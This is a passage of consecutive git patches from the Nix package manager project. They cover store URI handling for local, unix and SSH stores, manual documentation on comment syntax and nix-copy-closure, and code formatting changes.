-        // avoid garbling the editor with the progress bar
-        logger->pause();
-        Finally resume([&]() { logger->resume(); });
-
         // runProgram redirects stdout to a StringSink,
         // using runProgram2 to allow editors to display their UI
-        runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args });
+        runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args , .isInteractive = true });
 
         // Reload right after exiting the editor
         state->resetFileCache();

From 117dbc2c46de41d81385a70149ed5dbf331e5f00 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Tue, 21 May 2024 16:42:59 +0200
Subject: [PATCH 170/528] add examples of comments

make a suggestion for what to do if one wants to write nested comments
---
 doc/manual/src/language/constructs.md | 63 ++++++++++++++++++++++++---
 1 file changed, 56 insertions(+), 7 deletions(-)

diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md
index 4d75ea82c85..491d221b388 100644
--- a/doc/manual/src/language/constructs.md
+++ b/doc/manual/src/language/constructs.md
@@ -414,12 +414,62 @@ Does evaluate to `"inner"`.
 
 ## Comments
 
-Comments can be single-line, started with a `#` character, or
-inline/multi-line, enclosed within `/* ... */`.
-
-`#` comments last until the end of the line.
-
-`/*` comments run until the next occurrence of `*/`; this cannot be escaped.
+- Inline comments start with `#` and run until the end of the line.
+
+  > **Example**
+  >
+  > ```nix
+  > # A number
+  > 2 # Equals 1 + 1
+  > ```
+  >
+  > ```console
+  > 2
+  > ```
+
+- Block comments start with `/*` and run until the next occurrence of `*/`.
+
+  > **Example**
+  >
+  > ```nix
+  > /*
+  > Block comments
+  > can span multiple lines.
+  > */ "hello"
+  > ```
+  >
+  > ```console
+  > "hello"
+  > ```
+
+  This means that block comments cannot be nested.
+
+  > **Example**
+  >
+  > ```nix
+  > /* /* nope */ */ 1
+  > ```
+  >
+  > ```console
+  > error: syntax error, unexpected '*'
+  >
+  >        at «string»:1:15:
+  >
+  >             1| /* /* nope */ *
+  >              |               ^
+  > ```
+
+  Consider escaping nested comments and unescaping them in post-processing.
+
+  > **Example**
+  >
+  > ```nix
+  > /* /* nested *\/ */ 1
+  > ```
+  >
+  > ```console
+  > 1
+  > ```
 
 ## Scoping rules
 
@@ -432,6 +482,5 @@ Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science
 
 * secondary scope --- implicitly-bound variables
   * [`with`](#with-expressions)
-  
 Primary scope takes precedence over secondary scope.
 See [`with`](#with-expressions) for a detailed example.

From 470c0501eb994c8a31f03561d4d38114236ab8b3 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 25 Jan 2024 10:31:52 -0500
Subject: [PATCH 171/528] Ensure all store types support "real" URIs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

In particular `local://<path>` and `unix://` (without any path) now
work, and mean the same things as `local` and `daemon`, respectively. We
thus now have the opportunity to desguar `local` and `daemon` early.

This will allow me to make a change to
https://github.com/NixOS/nix/pull/9839 requested during review to
desugar those earlier.

Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com>
---
 src/libstore/dummy-store.cc              |  7 ++--
 src/libstore/http-binary-cache-store.cc  | 11 +++++--
 src/libstore/legacy-ssh-store.cc         | 16 +++++++--
 src/libstore/legacy-ssh-store.hh         | 12 ++++++-
 src/libstore/local-binary-cache-store.cc |  8 +++--
 src/libstore/local-store.cc              | 16 +++++++--
 src/libstore/local-store.hh              |  7 ++--
 src/libstore/s3-binary-cache-store.cc    | 10 +++---
 src/libstore/ssh-store-config.cc         | 24 ++++++++++++++
 src/libstore/ssh-store-config.hh         | 23 +++++++++++++
 src/libstore/ssh-store.cc                | 26 +++++++++++----
 src/libstore/ssh.cc                      |  6 +++-
 src/libstore/ssh.hh                      |  6 +++-
 src/libstore/store-api.cc                | 42 ++----------------------
 src/libstore/store-api.hh                | 11 +++++--
 src/libstore/uds-remote-store.cc         |  8 +++--
 src/libstore/uds-remote-store.hh         |  5 ++-
 src/libstore/unix/local-overlay-store.hh |  2 +-
 tests/functional/read-only-store.sh      |  5 ++-
 19 files changed, 170 insertions(+), 75 deletions(-)
 create mode 100644 src/libstore/ssh-store-config.cc

diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc
index 30f23cff91a..0d5d03091d4 100644
--- a/src/libstore/dummy-store.cc
+++ b/src/libstore/dummy-store.cc
@@ -18,9 +18,12 @@ struct DummyStoreConfig : virtual StoreConfig {
 
 struct DummyStore : public virtual DummyStoreConfig, public virtual Store
 {
-    DummyStore(const std::string scheme, const std::string uri, const Params & params)
+    DummyStore(std::string_view scheme, std::string_view authority, const Params & params)
         : DummyStore(params)
-    { }
+    {
+        if (!authority.empty())
+            throw UsageError("`%s` store URIs must not contain an authority part %s", scheme, authority);
+    }
 
     DummyStore(const Params & params)
         : StoreConfig(params)
diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc
index 5da87e935db..3328caef9c4 100644
--- a/src/libstore/http-binary-cache-store.cc
+++ b/src/libstore/http-binary-cache-store.cc
@@ -39,15 +39,20 @@ class HttpBinaryCacheStore : public virtual HttpBinaryCacheStoreConfig, public v
 public:
 
     HttpBinaryCacheStore(
-        const std::string & scheme,
-        const Path & _cacheUri,
+        std::string_view scheme,
+        PathView _cacheUri,
         const Params & params)
         : StoreConfig(params)
         , BinaryCacheStoreConfig(params)
         , HttpBinaryCacheStoreConfig(params)
         , Store(params)
         , BinaryCacheStore(params)
-        , cacheUri(scheme + "://" + _cacheUri)
+        , cacheUri(
+            std::string { scheme }
+            + "://"
+            + (!_cacheUri.empty()
+                ? _cacheUri
+                : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme)))
     {
         while (!cacheUri.empty() && cacheUri.back() == '/')
             cacheUri.pop_back();
diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc
index 9bc986bfaa7..c75d50ade89 100644
--- a/src/libstore/legacy-ssh-store.cc
+++ b/src/libstore/legacy-ssh-store.cc
@@ -28,8 +28,18 @@ struct LegacySSHStore::Connection : public ServeProto::BasicClientConnection
     bool good = true;
 };
 
+LegacySSHStore::LegacySSHStore(
+    std::string_view scheme,
+    std::string_view host,
+    const Params & params)
+    : LegacySSHStore{scheme, LegacySSHStoreConfig::extractConnStr(scheme, host), params}
+{
+}
 
-LegacySSHStore::LegacySSHStore(const std::string & scheme, const std::string & host, const Params & params)
+LegacySSHStore::LegacySSHStore(
+    std::string_view scheme,
+    std::string host,
+    const Params & params)
     : StoreConfig(params)
     , CommonSSHStoreConfig(params)
     , LegacySSHStoreConfig(params)
@@ -42,8 +52,8 @@ LegacySSHStore::LegacySSHStore(const std::string & scheme, const std::string & h
         ))
     , master(
         host,
-        sshKey,
-        sshPublicHostKey,
+        sshKey.get(),
+        sshPublicHostKey.get(),
         // Use SSH master only if using more than 1 connection.
         connections->capacity() > 1,
         compress,
diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh
index 34382369366..81872996a4c 100644
--- a/src/libstore/legacy-ssh-store.hh
+++ b/src/libstore/legacy-ssh-store.hh
@@ -41,7 +41,17 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor
 
     static std::set<std::string> uriSchemes() { return {"ssh"}; }
 
-    LegacySSHStore(const std::string & scheme, const std::string & host, const Params & params);
+    LegacySSHStore(
+        std::string_view scheme,
+        std::string_view host,
+        const Params & params);
+
+private:
+    LegacySSHStore(
+        std::string_view scheme,
+        std::string host,
+        const Params & params);
+public:
 
     ref<Connection> openConnection();
 
diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc
index 87a6026f1af..3e25ab8a41e 100644
--- a/src/libstore/local-binary-cache-store.cc
+++ b/src/libstore/local-binary-cache-store.cc
@@ -28,9 +28,13 @@ class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public
 
 public:
 
+    /**
+     * @param binaryCacheDir `file://` is a short-hand for `file:///`
+     * for now.
+     */
     LocalBinaryCacheStore(
-        const std::string scheme,
-        const Path & binaryCacheDir,
+        std::string_view scheme,
+        PathView binaryCacheDir,
         const Params & params)
         : StoreConfig(params)
         , BinaryCacheStoreConfig(params)
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index dd06e5b6579..c39060ba743 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -463,10 +463,20 @@ LocalStore::LocalStore(const Params & params)
 }
 
 
-LocalStore::LocalStore(std::string scheme, std::string path, const Params & params)
-    : LocalStore(params)
+LocalStore::LocalStore(
+    std::string_view scheme,
+    PathView path,
+    const Params & _params)
+    : LocalStore([&]{
+        // Default `?root` from `path` if non set
+        if (!path.empty() && _params.count("root") == 0) {
+            auto params = _params;
+            params.insert_or_assign("root", std::string { path });
+            return params;
+        }
+        return _params;
+    }())
 {
-    throw UnimplementedError("LocalStore");
 }
 
 
diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh
index b3d7bd6d0c3..b0a0def9aae 100644
--- a/src/libstore/local-store.hh
+++ b/src/libstore/local-store.hh
@@ -137,12 +137,15 @@ public:
      * necessary.
      */
     LocalStore(const Params & params);
-    LocalStore(std::string scheme, std::string path, const Params & params);
+    LocalStore(
+        std::string_view scheme,
+        PathView path,
+        const Params & params);
 
     ~LocalStore();
 
     static std::set<std::string> uriSchemes()
-    { return {}; }
+    { return {"local"}; }
 
     /**
      * Implementations of abstract store API methods.
diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc
index 1a62d92d44a..e9850dce6dd 100644
--- a/src/libstore/s3-binary-cache-store.cc
+++ b/src/libstore/s3-binary-cache-store.cc
@@ -213,7 +213,7 @@ struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig
           support it.
 
           > **Note**
-          > 
+          >
           > HTTPS should be used if the cache might contain sensitive
           > information.
         )"};
@@ -224,7 +224,7 @@ struct S3BinaryCacheStoreConfig : virtual BinaryCacheStoreConfig
           Do not specify this setting if you're using Amazon S3.
 
           > **Note**
-          > 
+          >
           > This endpoint must support HTTPS and will use path-based
           > addressing instead of virtual host based addressing.
         )"};
@@ -269,8 +269,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual
     S3Helper s3Helper;
 
     S3BinaryCacheStoreImpl(
-        const std::string & uriScheme,
-        const std::string & bucketName,
+        std::string_view uriScheme,
+        std::string_view bucketName,
         const Params & params)
         : StoreConfig(params)
         , BinaryCacheStoreConfig(params)
@@ -281,6 +281,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual
         , bucketName(bucketName)
         , s3Helper(profile, region, scheme, endpoint)
     {
+        if (bucketName.empty())
+            throw UsageError("`%s` store requires a bucket name in its Store URI", uriScheme);
         diskCache = getNarInfoDiskCache();
     }
 
diff --git a/src/libstore/ssh-store-config.cc b/src/libstore/ssh-store-config.cc
new file mode 100644
index 00000000000..742354cce6a
--- /dev/null
+++ b/src/libstore/ssh-store-config.cc
@@ -0,0 +1,24 @@
+#include <regex>
+
+#include "ssh-store-config.hh"
+
+namespace nix {
+
+std::string CommonSSHStoreConfig::extractConnStr(std::string_view scheme, std::string_view _connStr)
+{
+    if (_connStr.empty())
+        throw UsageError("`%s` store requires a valid SSH host as the authority part in Store URI", scheme);
+
+    std::string connStr{_connStr};
+
+    std::smatch result;
+    static std::regex v6AddrRegex("^((.*)@)?\\[(.*)\\]$");
+
+    if (std::regex_match(connStr, result, v6AddrRegex)) {
+        connStr = result[1].matched ? result.str(1) + result.str(3) : result.str(3);
+    }
+
+    return connStr;
+}
+
+}
diff --git a/src/libstore/ssh-store-config.hh b/src/libstore/ssh-store-config.hh
index 4ce4ffc4ca1..09f9f23a782 100644
--- a/src/libstore/ssh-store-config.hh
+++ b/src/libstore/ssh-store-config.hh
@@ -24,6 +24,29 @@ struct CommonSSHStoreConfig : virtual StoreConfig
           to be used on the remote machine. The default is `auto`
           (i.e. use the Nix daemon or `/nix/store` directly).
         )"};
+
+    /**
+     * The `parseURL` function supports both IPv6 URIs as defined in
+     * RFC2732, but also pure addresses. The latter one is needed here to
+     * connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`).
+     *
+     * This function now ensures that a usable connection string is available:
+     *
+     * - If the store to be opened is not an SSH store, nothing will be done.
+     *
+     * - If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably
+     *   needed to pass further flags), it
+     *   will be transformed into `root@::1` for SSH (same for `[::1]` -> `::1`).
+     *
+     * - If the URL looks like `root@::1` it will be left as-is.
+     *
+     * - In any other case, the string will be left as-is.
+     *
+     * Will throw an error if `connStr` is empty too.
+     */
+    static std::string extractConnStr(
+        std::string_view scheme,
+        std::string_view connStr);
 };
 
 }
diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc
index 220d5d31b7a..246abaac2c6 100644
--- a/src/libstore/ssh-store.cc
+++ b/src/libstore/ssh-store.cc
@@ -32,9 +32,10 @@ struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig
 
 class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore
 {
-public:
-
-    SSHStore(const std::string & scheme, const std::string & host, const Params & params)
+    SSHStore(
+        std::string_view scheme,
+        std::string host,
+        const Params & params)
         : StoreConfig(params)
         , RemoteStoreConfig(params)
         , CommonSSHStoreConfig(params)
@@ -44,14 +45,24 @@ class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore
         , host(host)
         , master(
             host,
-            sshKey,
-            sshPublicHostKey,
+            sshKey.get(),
+            sshPublicHostKey.get(),
             // Use SSH master only if using more than 1 connection.
             connections->capacity() > 1,
             compress)
     {
     }
 
+public:
+
+    SSHStore(
+        std::string_view scheme,
+        std::string_view host,
+        const Params & params)
+        : SSHStore{scheme, SSHStoreConfig::extractConnStr(scheme, host), params}
+    {
+    }
+
     static std::set<std::string> uriSchemes() { return {"ssh-ng"}; }
 
     std::string getUri() override
@@ -141,7 +152,10 @@ class MountedSSHStore : public virtual MountedSSHStoreConfig, public virtual SSH
 {
 public:
 
-    MountedSSHStore(const std::string & scheme, const std::string & host, const Params & params)
+    MountedSSHStore(
+        std::string_view scheme,
+        std::string_view host,
+        const Params & params)
         : StoreConfig(params)
         , RemoteStoreConfig(params)
         , CommonSSHStoreConfig(params)
diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc
index 7e730299ab7..5eb63fa67a5 100644
--- a/src/libstore/ssh.cc
+++ b/src/libstore/ssh.cc
@@ -6,7 +6,11 @@
 
 namespace nix {
 
-SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD)
+SSHMaster::SSHMaster(
+    std::string_view host,
+    std::string_view keyFile,
+    std::string_view sshPublicHostKey,
+    bool useMaster, bool compress, int logFD)
     : host(host)
     , fakeSSH(host == "localhost")
     , keyFile(keyFile)
diff --git a/src/libstore/ssh.hh b/src/libstore/ssh.hh
index 3b1a0827a65..be0a3228770 100644
--- a/src/libstore/ssh.hh
+++ b/src/libstore/ssh.hh
@@ -39,7 +39,11 @@ private:
 
 public:
 
-    SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD = -1);
+    SSHMaster(
+        std::string_view host,
+        std::string_view keyFile,
+        std::string_view sshPublicHostKey,
+        bool useMaster, bool compress, int logFD = -1);
 
     struct Connection
     {
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 419c55e9239..6eba3a77d80 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -21,7 +21,6 @@
 #include "users.hh"
 
 #include <nlohmann/json.hpp>
-#include <regex>
 
 using json = nlohmann::json;
 
@@ -1321,9 +1320,7 @@ std::shared_ptr<Store> openFromNonUri(const std::string & uri, const Store::Para
                 warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
             } else
                 debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
-            Store::Params params2;
-            params2["root"] = chrootStore;
-            return std::make_shared<LocalStore>(params2);
+            return std::make_shared<LocalStore>("local", chrootStore, params);
         }
         #endif
         else
@@ -1333,42 +1330,12 @@ std::shared_ptr<Store> openFromNonUri(const std::string & uri, const Store::Para
     } else if (uri == "local") {
         return std::make_shared<LocalStore>(params);
     } else if (isNonUriPath(uri)) {
-        Store::Params params2 = params;
-        params2["root"] = absPath(uri);
-        return std::make_shared<LocalStore>(params2);
+        return std::make_shared<LocalStore>("local", absPath(uri), params);
     } else {
         return nullptr;
     }
 }
 
-// The `parseURL` function supports both IPv6 URIs as defined in
-// RFC2732, but also pure addresses. The latter one is needed here to
-// connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`).
-//
-// This function now ensures that a usable connection string is available:
-// * If the store to be opened is not an SSH store, nothing will be done.
-// * If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably
-//   needed to pass further flags), it
-//   will be transformed into `root@::1` for SSH (same for `[::1]` -> `::1`).
-// * If the URL looks like `root@::1` it will be left as-is.
-// * In any other case, the string will be left as-is.
-static std::string extractConnStr(const std::string &proto, const std::string &connStr)
-{
-    if (proto.rfind("ssh") != std::string::npos) {
-        std::smatch result;
-        std::regex v6AddrRegex("^((.*)@)?\\[(.*)\\]$");
-
-        if (std::regex_match(connStr, result, v6AddrRegex)) {
-            if (result[1].matched) {
-                return result.str(1) + result.str(3);
-            }
-            return result.str(3);
-        }
-    }
-
-    return connStr;
-}
-
 ref<Store> openStore(const std::string & uri_,
     const Store::Params & extraParams)
 {
@@ -1377,10 +1344,7 @@ ref<Store> openStore(const std::string & uri_,
         auto parsedUri = parseURL(uri_);
         params.insert(parsedUri.query.begin(), parsedUri.query.end());
 
-        auto baseURI = extractConnStr(
-            parsedUri.scheme,
-            parsedUri.authority.value_or("") + parsedUri.path
-        );
+        auto baseURI = parsedUri.authority.value_or("") + parsedUri.path;
 
         for (auto implem : *Implementations::registered) {
             if (implem.uriSchemes.count(parsedUri.scheme)) {
diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh
index ae8c224374f..a508e5a00c4 100644
--- a/src/libstore/store-api.hh
+++ b/src/libstore/store-api.hh
@@ -901,7 +901,14 @@ std::list<ref<Store>> getDefaultSubstituters();
 struct StoreFactory
 {
     std::set<std::string> uriSchemes;
-    std::function<std::shared_ptr<Store> (const std::string & scheme, const std::string & uri, const Store::Params & params)> create;
+    /**
+     * The `authorityPath` parameter is `<authority>/<path>`, or really
+     * whatever comes after `<scheme>://` and before `?<query-params>`.
+     */
+    std::function<std::shared_ptr<Store> (
+        std::string_view scheme,
+        std::string_view authorityPath,
+        const Store::Params & params)> create;
     std::function<std::shared_ptr<StoreConfig> ()> getConfig;
 };
 
@@ -916,7 +923,7 @@ struct Implementations
         StoreFactory factory{
             .uriSchemes = T::uriSchemes(),
             .create =
-                ([](const std::string & scheme, const std::string & uri, const Store::Params & params)
+                ([](auto scheme, auto uri, auto & params)
                  -> std::shared_ptr<Store>
                  { return std::make_shared<T>(scheme, uri, params); }),
             .getConfig =
diff --git a/src/libstore/uds-remote-store.cc b/src/libstore/uds-remote-store.cc
index 649644146bf..499f7696712 100644
--- a/src/libstore/uds-remote-store.cc
+++ b/src/libstore/uds-remote-store.cc
@@ -40,12 +40,13 @@ UDSRemoteStore::UDSRemoteStore(const Params & params)
 
 
 UDSRemoteStore::UDSRemoteStore(
-    const std::string scheme,
-    std::string socket_path,
+    std::string_view scheme,
+    PathView socket_path,
     const Params & params)
     : UDSRemoteStore(params)
 {
-    path.emplace(socket_path);
+    if (!socket_path.empty())
+        path.emplace(socket_path);
 }
 
 
@@ -54,6 +55,7 @@ std::string UDSRemoteStore::getUri()
     if (path) {
         return std::string("unix://") + *path;
     } else {
+        // unix:// with no path also works. Change what we return?
         return "daemon";
     }
 }
diff --git a/src/libstore/uds-remote-store.hh b/src/libstore/uds-remote-store.hh
index 8bce8994a3a..6f0494bb63b 100644
--- a/src/libstore/uds-remote-store.hh
+++ b/src/libstore/uds-remote-store.hh
@@ -28,7 +28,10 @@ class UDSRemoteStore : public virtual UDSRemoteStoreConfig
 public:
 
     UDSRemoteStore(const Params & params);
-    UDSRemoteStore(const std::string scheme, std::string path, const Params & params);
+    UDSRemoteStore(
+        std::string_view scheme,
+        PathView path,
+        const Params & params);
 
     std::string getUri() override;
 
diff --git a/src/libstore/unix/local-overlay-store.hh b/src/libstore/unix/local-overlay-store.hh
index 2c24285dd47..35a30101391 100644
--- a/src/libstore/unix/local-overlay-store.hh
+++ b/src/libstore/unix/local-overlay-store.hh
@@ -92,7 +92,7 @@ class LocalOverlayStore : public virtual LocalOverlayStoreConfig, public virtual
 public:
     LocalOverlayStore(const Params & params);
 
-    LocalOverlayStore(std::string scheme, std::string path, const Params & params)
+    LocalOverlayStore(std::string_view scheme, PathView path, const Params & params)
         : LocalOverlayStore(params)
     {
         if (!path.empty())
diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh
index d63920c1963..834ac1b5149 100644
--- a/tests/functional/read-only-store.sh
+++ b/tests/functional/read-only-store.sh
@@ -9,7 +9,10 @@ clearStore
 happy () {
     # We can do a read-only query just fine with a read-only store
     nix --store local?read-only=true path-info $dummyPath
-    
+
+    # `local://` also works.
+    nix --store local://?read-only=true path-info $dummyPath
+
     # We can "write" an already-present store-path a read-only store, because no IO is actually required
     nix-store --store local?read-only=true --add dummy
 }

From 77cb02b7390ca13142c85af1cbe6ba1a6fbde2bf Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Tue, 21 May 2024 18:06:16 +0200
Subject: [PATCH 172/528] reword documentation on `nix-copy-closure` (#10709)

* reword documentation on `nix-copy-closure`

- one sentence per line
- be more precise with respect to which Nix stores are being accessed
- make a clear distinction between store paths and store objects
- add links to definitions of terms
- clarify which machine is which
- --to and --from don't take arguments

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 .../src/command-ref/nix-copy-closure.md       | 73 ++++++++-----------
 1 file changed, 31 insertions(+), 42 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md
index 3c62191f18d..d94bde3a35a 100644
--- a/doc/manual/src/command-ref/nix-copy-closure.md
+++ b/doc/manual/src/command-ref/nix-copy-closure.md
@@ -1,75 +1,64 @@
 # Name
 
-`nix-copy-closure` - copy a closure to or from a remote machine via SSH
+`nix-copy-closure` - copy store objects to or from a remote machine via SSH
 
 # Synopsis
 
 `nix-copy-closure`
-  [`--to` | `--from`]
+  [`--to` | `--from` ]
   [`--gzip`]
   [`--include-outputs`]
   [`--use-substitutes` | `-s`]
   [`-v`]
-  _user@machine_ _paths_
+  [_user_@]_machine_[:_port_] _paths_
 
 # Description
 
-`nix-copy-closure` gives you an easy and efficient way to exchange
-software between machines.  Given one or more Nix store _paths_ on the
-local machine, `nix-copy-closure` computes the closure of those paths
-(i.e. all their dependencies in the Nix store), and copies all paths
-in the closure to the remote machine via the `ssh` (Secure Shell)
-command.  With the `--from` option, the direction is reversed: the
-closure of _paths_ on a remote machine is copied to the Nix store on
-the local machine.
-
-This command is efficient because it only sends the store paths
-that are missing on the target machine.
-
-Since `nix-copy-closure` calls `ssh`, you may be asked to type in the
-appropriate password or passphrase.  In fact, you may be asked _twice_
-because `nix-copy-closure` currently connects twice to the remote
-machine, first to get the set of paths missing on the target machine,
-and second to send the dump of those paths.  When using public key
-authentication, you can avoid typing the passphrase with `ssh-agent`.
+Given _paths_ from one machine, `nix-copy-closure` computes the [closure](@docroot@/glossary.md#gloss-closure) of those paths (i.e. all their dependencies in the Nix store), and copies [store objects](@docroot@/glossary.md#gloss-store-object) in that closure to another machine via SSH.
+It doesn’t copy store objects that are already present on the other machine.
+
+> **Note**
+>
+> While the Nix store to use on the local machine can be specified on the command line with the [`--store`](@docroot@/command-ref/conf-file.md#conf-store) option, the Nix store to be accessed on the remote machine can only be [configured statically](@docroot@/command-ref/conf-file.md#configuration-file) on that remote machine.
+
+Since `nix-copy-closure` calls `ssh`, you may need to authenticate with the remote machine.
+In fact, you may be asked for authentication _twice_ because `nix-copy-closure` currently connects twice to the remote machine: first to get the set of paths missing on the target machine, and second to send the dump of those paths.
+When using public key authentication, you can avoid typing the passphrase with `ssh-agent`.
 
 # Options
 
-  - `--to`\
-    Copy the closure of _paths_ from the local Nix store to the Nix
-    store on _machine_. This is the default.
+  - `--to`
+
+    Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_.
+    This is the default behavior.
 
-  - `--from`\
-    Copy the closure of _paths_ from the Nix store on _machine_ to the
-    local Nix store.
+  - `--from`
+
+    Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store.
+
+  - `--gzip`
 
-  - `--gzip`\
     Enable compression of the SSH connection.
 
-  - `--include-outputs`\
+  - `--include-outputs`
+
     Also copy the outputs of [store derivation]s included in the closure.
 
     [store derivation]: @docroot@/glossary.md#gloss-store-derivation
 
-  - `--use-substitutes` / `-s`\
-    Attempt to download missing paths on the target machine using Nix’s
-    substitute mechanism.  Any paths that cannot be substituted on the
-    target are still copied normally from the source.  This is useful,
-    for instance, if the connection between the source and target
-    machine is slow, but the connection between the target machine and
-    `nixos.org` (the default binary cache server) is
-    fast.
+  - `--use-substitutes` / `-s`
 
-  - `-v`\
-    Show verbose output.
+    Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters).
+    Any store objects that cannot be substituted on the target are still copied normally from the source.
+    This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast.
 
 {{#include ./opt-common.md}}
 
 # Environment variables
 
-  - `NIX_SSHOPTS`\
-    Additional options to be passed to `ssh` on the command
-    line.
+  - `NIX_SSHOPTS`
+
+    Additional options to be passed to `ssh` on the command line.
 
 {{#include ./env-common.md}}
 

From 1d6c2316a988a97b2c4d214f582580f70c7d9586 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 21 May 2024 17:52:49 -0400
Subject: [PATCH 173/528] Slightly change formatting style

For long expressions, one argument or parameter per line is just easier.
---
 .clang-format                       |  2 ++
 src/libcmd/network-proxy.cc         |  5 ++++-
 src/libstore/windows/pathlocks.cc   |  9 +++++++--
 src/libutil/compression.cc          | 13 +++++++++----
 src/libutil/windows/file-system.cc  |  9 +++++++--
 tests/unit/libexpr/nix_api_value.cc | 21 +++++++++++++++------
 6 files changed, 44 insertions(+), 15 deletions(-)

diff --git a/.clang-format b/.clang-format
index 73eac7ef6fe..07a5ef5bc5f 100644
--- a/.clang-format
+++ b/.clang-format
@@ -30,3 +30,5 @@ BreakBeforeBinaryOperators: NonAssignment
 AlwaysBreakBeforeMultilineStrings: true
 IndentPPDirectives: AfterHash
 PPIndentWidth: 2
+BinPackArguments: false
+BinPackParameters: false
diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc
index 633b2c005c1..4b7d2441f3f 100644
--- a/src/libcmd/network-proxy.cc
+++ b/src/libcmd/network-proxy.cc
@@ -25,7 +25,10 @@ static StringSet getExcludingNoProxyVariables()
     static const StringSet excludeVariables{"no_proxy", "NO_PROXY"};
     StringSet variables;
     std::set_difference(
-        networkProxyVariables.begin(), networkProxyVariables.end(), excludeVariables.begin(), excludeVariables.end(),
+        networkProxyVariables.begin(),
+        networkProxyVariables.end(),
+        excludeVariables.begin(),
+        excludeVariables.end(),
         std::inserter(variables, variables.begin()));
     return variables;
 }
diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc
index 738057f68b8..1199878e97d 100644
--- a/src/libstore/windows/pathlocks.cc
+++ b/src/libstore/windows/pathlocks.cc
@@ -35,8 +35,13 @@ void PathLocks::unlock()
 AutoCloseFD openLockFile(const Path & path, bool create)
 {
     AutoCloseFD desc = CreateFileA(
-        path.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
-        create ? OPEN_ALWAYS : OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, NULL);
+        path.c_str(),
+        GENERIC_READ | GENERIC_WRITE,
+        FILE_SHARE_READ | FILE_SHARE_WRITE,
+        NULL,
+        create ? OPEN_ALWAYS : OPEN_EXISTING,
+        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS,
+        NULL);
     if (desc.get() == INVALID_HANDLE_VALUE)
         warn("%s: %s", path, std::to_string(GetLastError()));
 
diff --git a/src/libutil/compression.cc b/src/libutil/compression.cc
index d17401f278b..d2702856591 100644
--- a/src/libutil/compression.cc
+++ b/src/libutil/compression.cc
@@ -263,8 +263,13 @@ struct BrotliCompressionSink : ChunkedCompressionSink
             checkInterrupt();
 
             if (!BrotliEncoderCompressStream(
-                    state, data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH, &avail_in, &next_in,
-                    &avail_out, &next_out, nullptr))
+                    state,
+                    data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH,
+                    &avail_in,
+                    &next_in,
+                    &avail_out,
+                    &next_out,
+                    nullptr))
                 throw CompressionError("error while compressing brotli compression");
 
             if (avail_out < sizeof(outbuf) || avail_in == 0) {
@@ -280,8 +285,8 @@ struct BrotliCompressionSink : ChunkedCompressionSink
 
